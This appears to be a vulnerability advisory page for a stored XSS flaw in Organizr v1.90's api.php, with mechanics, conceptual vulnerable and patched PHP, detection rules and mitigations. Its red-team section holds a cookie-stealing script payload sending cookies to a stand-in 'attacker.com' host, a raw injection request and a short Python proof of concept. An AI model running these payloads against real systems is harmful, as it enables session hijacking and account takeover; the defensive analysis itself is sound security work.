CVE-2024-41371
Executive Summary
CVE-2024-41371 identifies a stored Cross-Site Scripting (XSS) vulnerability in Organizr v1.90, specifically within the api.php endpoint. This flaw allows an authenticated attacker to inject arbitrary web scripts or HTML into the application, which are then executed in the context of other users' browsers when they view the affected page. The vulnerability stems from insufficient sanitization of user-supplied input before it is stored and later rendered. Successful exploitation could lead to session hijacking, credential theft, defacement, or redirection to malicious sites. No official patch has been released as of this analysis, and the CVSS score is currently unassigned, but the risk is considered medium to high due to the potential for account takeover.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Organizr is a self-hosted web application typically deployed via Docker or manual installation from GitHub. The vulnerability exists in the core PHP codebase, not in a third-party package manager (NPM, PyPI, etc.). Therefore, supply chain risks are limited to the integrity of the source code repository and the Docker images used for deployment. Users should verify the authenticity of their Organizr installation and monitor for any unofficial patches or forks.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:
- Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An authenticated user is needed to inject the payload.
- User Interaction (UI): Required (R) – The victim must view the page containing the malicious script.
- Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component (e.g., user sessions).
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Some modification of data is possible.
- Availability (A): None (N) – No impact on availability.
Estimated CVSS Score: 5.4 (Medium)
Threat Level: Medium. The requirement for authentication reduces the attack surface, but the potential for session hijacking and lateral movement within the application makes it a significant concern for multi-user Organizr instances.
Deep Dive & Mechanics
The vulnerability resides in the api.php file, which handles various API requests. The specific endpoint that is vulnerable likely accepts user input (e.g., via POST parameters) and stores it in a database or configuration file without proper sanitization or output encoding. When this data is later retrieved and rendered in a web page (e.g., in a dashboard, user profile, or settings panel), the injected script executes.
Root Cause: Lack of input validation and output escaping. The application fails to use functions like htmlspecialchars() or strip_tags() on user-controlled data before storing or displaying it.
Attack Vector:
- An authenticated attacker crafts a malicious payload, such as
<script>alert('XSS')</script>or a more sophisticated payload for session theft. - The attacker submits this payload via a vulnerable parameter in
api.php(e.g.,?action=update&name=<script>...</script>). - The payload is stored in the application's database or configuration.
- When another user (or the attacker themselves) navigates to a page that displays this stored data, the script executes in their browser.
Impact:
- Session cookie theft (if cookies are not HttpOnly).
- Redirection to phishing pages.
- Defacement of the Organizr interface.
- Execution of arbitrary actions on behalf of the victim user.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation.
Vulnerable Code (api.php - conceptual):
<?php
// Vulnerable: Directly stores user input
$name = $_POST['name'];
$sql = "INSERT INTO settings (name) VALUES ('$name')";
$db->query($sql);
?>
Patched Code (api.php - conceptual):
<?php
// Patched: Sanitize input and escape output
$name = htmlspecialchars(strip_tags($_POST['name']), ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO settings (name) VALUES (?)";
$stmt = $db->prepare($sql);
$stmt->bind_param("s", $name);
$stmt->execute();
?>
The patched version uses prepared statements to prevent SQL injection (though not the primary issue) and applies htmlspecialchars() and strip_tags() to neutralize any HTML/JavaScript before storage. Additionally, output should be escaped when rendering.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A running instance of Organizr v1.90.
- Valid user credentials (e.g.,
admin:admin).
Exploitation Steps:
- Identify the vulnerable endpoint: Use a web proxy (e.g., Burp Suite) to intercept requests to
api.php. Look for parameters that are stored and later displayed (e.g.,name,description,url). - Craft the payload: Create a JavaScript payload to steal cookies:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Inject the payload: Send a POST request to
api.phpwith the malicious payload:POST /api.php HTTP/1.1 Host: target-organizr.local Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=valid_session action=update&name=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Trigger the XSS: As an administrator or another user, navigate to the page that displays the stored data (e.g., the dashboard or settings page). The script will execute, sending the victim's cookies to the attacker's server.
Proof of Concept (PoC) Script (Python):
import requests
target = "http://target-organizr.local"
session = requests.Session()
# Login
login_data = {"username": "admin", "password": "admin"}
session.post(f"{target}/login.php", data=login_data)
# Inject XSS payload
payload = "<script>alert('XSS')</script>"
xss_data = {"action": "update", "name": payload}
session.post(f"{target}/api.php", data=xss_data)
print("Payload injected. Visit the dashboard to trigger XSS.")
Blue Team (Defensive)
Detection and Mitigation:
- Web Application Firewall (WAF): Deploy a WAF (e.g., ModSecurity) with rules to block common XSS patterns.
- Input Validation: Implement strict server-side validation to reject or sanitize any input containing HTML/JavaScript.
- Content Security Policy (CSP): Add a CSP header to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - HttpOnly Cookies: Set the
HttpOnlyflag on session cookies to prevent JavaScript access. - Monitor Logs: Look for unusual POST requests to
api.phpcontaining<script>tags or encoded variants.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g.,
GET /steal.php?cookie=...). - POST requests to
api.phpwith parameters containing<script>tags or base64-encoded JavaScript.
- Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g.,
- Host IOCs:
- Unexpected entries in the Organizr database (e.g., settings table) containing HTML/JavaScript.
- Modified configuration files with injected scripts.
- Log IOCs:
- Web server logs showing requests to
api.phpwith suspicious parameters. - Application logs indicating failed input validation attempts.
- Web server logs showing requests to
Detection Engineering
YARA Rule
rule CVE_2024_41371_XSS_Organizr {
meta:
description = "Detects XSS payloads targeting Organizr api.php"
author = "Valters IT"
date = "2024-08-01"
reference = "CVE-2024-41371"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/si
$api_endpoint = "api.php"
condition:
$api_endpoint and $xss_payload
}
Sigma Rule
title: XSS Attempt on Organizr api.php
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential XSS attacks against Organizr api.php
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/api.php*'
cs-uri-query|contains:
- '<script'
- 'javascript:'
- 'onerror='
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin settings (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-41371 XSS Attempt on Organizr api.php"; flow:to_server,established; content:"POST"; http_method; content:"/api.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint: If possible, restrict access to
api.phpvia.htaccessor firewall rules until a patch is applied. - Apply a virtual patch: Use a WAF to block requests containing
<script>tags in POST parameters toapi.php. - Review user permissions: Limit the number of users with write access to the application.
Long-Term Fix:
- Upgrade: Monitor the official Organizr GitHub repository for a patched version. If none is released, consider forking the project and applying the fix manually.
- Code Hardening: Implement input validation and output escaping throughout the application. Use a security-focused PHP framework or library.
Workaround:
- Content Security Policy: Add a strict CSP header to mitigate the impact of XSS even if the vulnerability is exploited.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.